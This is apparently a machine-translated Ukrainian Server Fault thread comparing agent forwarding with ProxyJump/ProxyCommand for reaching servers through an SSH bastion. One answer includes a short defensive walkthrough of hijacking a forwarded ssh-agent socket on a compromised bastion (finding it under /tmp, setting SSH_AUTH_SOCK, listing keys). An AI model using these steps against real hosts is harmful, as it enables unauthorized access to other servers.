Бастіонний сервер: використовуйте TCP-переадресацію VS, розміщуючи приватний ключ на сервері


10

У нас є сервер бастіонів B. Нам потрібно SSH від A до B до C, використовуючи приватний ключ.

Який кращий варіант:

  • Покладіть приватний ключ SSH на сервер B. Ми прочитали, що це погано робити у виробничих умовах.

    Від сюди :

    Ніколи не розміщуйте свої приватні ключі SSH на екземплярі бастіону. Натомість використовуйте переадресацію агента SSH для підключення спочатку до бастіону, а звідти до інших примірників приватних підмереж. Це дозволяє зберігати приватний ключ SSH просто на комп’ютері.

  • Використовуйте переадресацію агента SSH . Для налаштування переадресації агента потрібно дозволити переадресацію TCP. Під час налаштування переадресації агента на хості переадресації створюється файл сокета, який є механізмом, за допомогою якого ключ можна переслати в пункт призначення. У налаштуваннях Бастіону на AWS:

    Передача TCP: Якщо встановити це значення в істинному режимі, буде ввімкнено переадресацію TCP (тунелювання SSH). Це може бути дуже корисно, але це також є ризиком для безпеки, тому радимо зберігати налаштування за замовчуванням (вимкнено), якщо не потрібно

    Також звідси :

    Пересилання експедитора SSH вважається шкідливим

Що краще? А як щодо альтернативи з другого посилання: ProxyCommand , я розумію, що це допомагає при проблемі з файлом сокетів, але все ж я думаю, що я повинен увімкнути переадресацію TCP, так це достатньо безпечно?


2
За допомогою ProxyCommand вам не потрібно включати переадресацію TCP. Переадресація здійснюється ssh на проміжний хост.
wurtel

Дякую. Чи повинен бути файл конфігурації? в моєму комп’ютері чи в Бастіоні?
user2503775

У вашій локальній системі, де ви будете вводити ssh hostbкоманду, щоб він міг шукати hostb у локальній конфігурації та знати, що їй потрібно підключитися через hosta. Це не могло б зробити, якщо ви поставите конфігурацію на
hosta

Де зберігатиметься приватний ключ сервера C? також у моєму комп? Я використовую Keepass з keeAgent
user2503775

2
Боюся , ти плутаєш перенаправлення TCP з експедицією агентом . Вони різні речі.
MLu

Відповіді:


13

Використовуйте ProxyCommand або ProxyJump

Я рекомендував би використовувати ProxyCommand(а ще краще, ProxyJumpоскільки синтаксис простіший, але вимагає openssh 7.3+, я думаю, що на клієнті), і вам не потрібно розгортати приватний ключ на Bastion, все залишається локальним.

Приклад із ProxyJump

На клієнтському комп’ютері ви пишете файл ~/.ssh/configіз схожим вмістом нижче:

Host bastion
  HostName bastion.example.com
  User bastion-user
  Port 22
  IdentityFile ~/.ssh/id_bastion

Host srvC
  HostName srvC.local
  User server-user
  IdentityFile ~/.ssh/id_protected_lan
  ProxyJump bastion

Тоді виконання дій ssh srvCпідключить вас до C через B (бастіон) без переадресації агента і не розгортає приватний ключ до бастіону.

У наведеному вище прикладі "bastion" є псевдонімом вашого хоста Bastion, а srvC - псевдонім для вашого сервера C. У ньому HostNameпотрібно ввести або IP-адреси, або справжнє повноцінне доменне ім'я для ваших хостів. Для користувачів вам потрібно оновити Userправильне ім’я для входу на бастіоні та сервері C. Нарешті IdentityFile, необов’язково, якщо ви використовуєте локальний агент (наприклад, KeeAgent або ssh-агент), але якщо він не працює, він також буде попрацюйте і запитайте вас про кожну ключову фразу.

Розгортання відкритих ключів

Звичайно, вам потрібно розгорнути відкриті ключі як до бастіону, так і до srvC. Ви можете використовувати (знак $ - це просто для ілюстрації підказки, не вводити його):

$ ssh-copy-id -i ~/.ssh/id_bastion.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   bastion
$ ssh-copy-id -i ~/.ssh/id_protected_lan.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   srvC

Примітка: вищезазначене буде працювати лише в тому випадку, якщо автентифікація пароля все ж дозволена. Після вищезазначеного розгортання та переконання, що все працює за призначенням, вам слід заборонити автентифікацію пароля на двох серверах.

Приклад із ProxyCommand замість ProxyJump

Якщо у вас є старша версія OpenSSH, яка не підтримує ProxyJump(на стороні клієнта), замініть:

ProxyJump bastion

від

ProxyCommand ssh -q -W %h:%p bastion

Наскільки я зрозумів, це схоже.


Дякую! Я працюю з linux, але у нас є деякі члени команди, які працюють на windows. Тут також має працювати, чи не так?
user2503775

Якого клієнта SSH вони збираються використовувати? OpenSSH (через WSL, або cygwin чи ін.) Або PuTTY (або інший інструмент на основі PuTTY), як MobaXterm?
Гюйгенс

Деякі з них використовують PuTTy, а інші використовують ssh через Git Shell.
user2503775

@ user2503775 Я ніколи не пробував цього з PuTTY, але, мабуть, це можливо за допомогою підходу ProxyCommand, дивіться тут: stackoverflow.com/a/28937185
Huygens

1
Дуже дякую за детальну відповідь!
user2503775

5

Я побачив відповідь про ProxyJump. Поговоримо про ProxyCommand .

Але чекай, чекай! Я можу написати вам, як зламати сервер, який використовує переадресацію агента, що було б набагато простіше зрозуміти різницю!

Давайте зламати!

Основні етапи: ви можете прочитати мій пост тут

Основні етапи:

  1. Створіть користувачів бастіонів
  2. Вимкнути вхід у систему root
  3. Блокувати спроби злому
  4. Змінити порт
  5. Налаштування брандмауера
  6. Налаштування SELinux

Як використовувати AgentForwarding

-Створіть конфігурацію в ~ / .ssh / config

  Host bast
        Hostname BASTION_IP
        ForwardAgent yes
        User bastion

-Додайте ключ авторизації до ssh-агента

ssh-add ~/.ssh/name_rsa

-Підключіться до бастіонних наконечників

ssh bast

-З'єднайте сервер додатків з бастіону

 ssh app@IP -p PORT

Злом!

Ви можете, ну, поставити мені запитання:

  • Чи безпечний мій сервер? І відповідь досить проста:

    • НІ!
  • Чому?

    • Тому що ви використовуєте переадресацію агента SSH!
  • І де проблема?

    • Оскільки переадресація агента небезпечна і вважається шкідливою.
  • Чому?

    • Пояснимо все зсередини: Коли ви підключаєте бастіонний хост, ваш славний ssh-агент пересилається. Це означає, що сокет буде налаштований так, що хтось може використовувати ці дані сокета для доступу до ваших серверів. Уявіть, що ваш бастіон-сервер порушений. Якщо хтось має достатньо дозволів на вашому Linux-сервері, він / вона просто використовуватиме інформацію вашого сокета. Як результат, можна отримати доступ до всіх ваших серверів. Я знаю, що вікно компромісу дуже мало, тому що це залежить від того, скільки часу ви підключені до хоста бастіону. Але ви дійсно хочете ризикувати, коли у вас є інші варіанти, такі як ProxyCommand? Отже, просто використовуйте ProxyCommand!

Як зламати сервери, якщо ви зірвали хостинг бастіону?

Відстеження цілі

У каталозі / tmp ви можете побачити щось подібне:

[root@localhost tmp]# ll
total 12
drwx------  2 bastion bastion 4096 Sep  7 17:35 ssh-mKX88v0Vlo

Давайте відкриємо тимчасовий файл

[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep  7 17:35 agent.10507

Давайте подивимося підключення до цього ідентифікатора процесу.

netstat -nxp | grep  10507

результат:

unix  [ ]   STREAM     CONNECTED     501384   10507/sshd: bastion

і хто пов'язаний?

lsof -i -a -p 10507

результат:

COMMAND  PID   USER  FD  TYPE DEVICE SIZE/OFF NODE NAME
sshd    10507 bastion  3u  IPv4 501301  0t0  TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)

Також ми можемо побачити файли сокетів:

cd /proc/10507/fd/
ls

результат:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

А що буде, коли клієнт буде підключений до віддаленого сервера? подивимось:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

Ми навіть можемо побачити, чи використовується файл сокета за допомогою netstat:

unix  3 [ ]  STREAM  CONNECTED  502267  10561/sshd: 
                     bastion  /tmp/ssh-oVoMXC6vb8/agent.10561
unix  3  [ ] STREAM     CONNECTED     502072   10561/sshd:  bastion 

Викрасти інформацію про розетку та IP-адресу

Тепер нам потрібно вкрасти інформацію про сокет, поки сеанс хосту бастіону відкритий . О, нам також потрібен IP-адреса сервера призначення , тому просто використовуйте netstat:

netstat -tn

Останній крок , щоб використовувати пересилається файл сокет

eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507

Перевірте, чи ключ завантажений .

ssh-add -l

результат повинен бути чимось таким :

2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)

Сервер зламаний, як виправити проблему безпеки?

Команда проксі

Host app
    Hostname *.*.*.*
    IdentityFile ~/.ssh/your_rsa
    User *******
    Port ****
    ProxyCommand ssh -W %h:%p bast

Host bast
     Hostname *.*.*.*
     ForwardAgent no
     User ******

Основні операції: як передавати файли через сервери (від клієнта до сервера, сервера до клієнта), ви можете прочитати на моєму посту тут

Висновок

  • Якщо ви використовуєте хост бастіонів, не використовуйте AgentForwarding, а використовуйте ProxyCommand
  • Завжди використовуйте некореневого користувача для аутентифікації
  • Використовуйте брандмауер і блокуйте всі непотрібні з'єднання.
  • Використовувати SELinux (загалом)
  • Блокуйте IP-адресу, яка намагається ввійти кілька разів з неправильними обліковими записами
  • Якщо це не потрібно, не давайте дозволу sudo користувачеві
  • Контролюйте свій сервер
  • Оновіть ваш сервер щодо виправлень безпеки

Більше інформації див. У моєму блозі . Крім того, у мене є кілька знімків екрана, тому це може бути корисним для вас.


Дуже дякую! насправді ми використовуємо також аутентифікатор google під час входу.
user2503775

Я отримую повідомлення про помилку при спробі виклику SSH додатки: channel 0: open failed: administratively prohibited: open failed. stdio forwarding failed. . У вас є ідея, чому ?. У безпечному журналі я бачу:refused local port forward: originator 127.0.0.1 port 65535, target *app-ip* port 22
user2503775

Класна інформація. Невелика порада для покращення читабельності вашої відповіді. Не копіюйте / не вставляйте вміст свого блогу сюди. Надайте посилання та лише резюме. Потім виділіть реальну частину відповіді (яка для вас використовує ProxyCommand). Я бачив, що ви наче спробували це на початку, але, враховуючи частину копіювання / вставки, це було дещо заплутано. У всякому разі +1
Гюйгенс

@ user2503775 Це повинна бути інша проблема, не пов'язана з командою переадресації / проксі ssh-агента. Давайте відкриємо нове запитання з журналами.
Grep


4

Просто використовуйте SSH-переадресацію, як і більшість інших.

  • Клавіші будуть в агенті ssh на вашому ноутбуці.
  • Ви входите в бастіон, автентифікований через агент.
  • Звідти увійдіть до націленого хоста, а запит на автентифікацію буде передано на ваш ноутбук .

Перевага: на бастіоні не зберігаються ключі, якими можна було б неправильно користуватися.

Сподіваюся, що це допомагає :)


Привіт, це в основному те, що ОП описує у своїй другій кулі. Раджу перевірити друге посилання, надане у питанні.
Гюйгенс

@Huygens правда я помітив зараз. Я заперечував це, коли він змішує переадресацію TCP з переадресацією агента.
MLu

Насправді це переплутано :-)
Гюйгенс

Це не змішано. Я розумію різницю. Я відредагував це питання, щоб дати зрозуміти.
user2503775

Я написав відповідь, як зламати переадресацію агента (ключа немає, але розетка відкрита). Як правило, переадресація агента нормальна, оскільки можливість викрасти ключі дуже низька - перш за все, потрібно зламати хост бастіону. У будь-якому випадку ви можете побачити мою відповідь: serverfault.com/a/958466/476642
grep
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.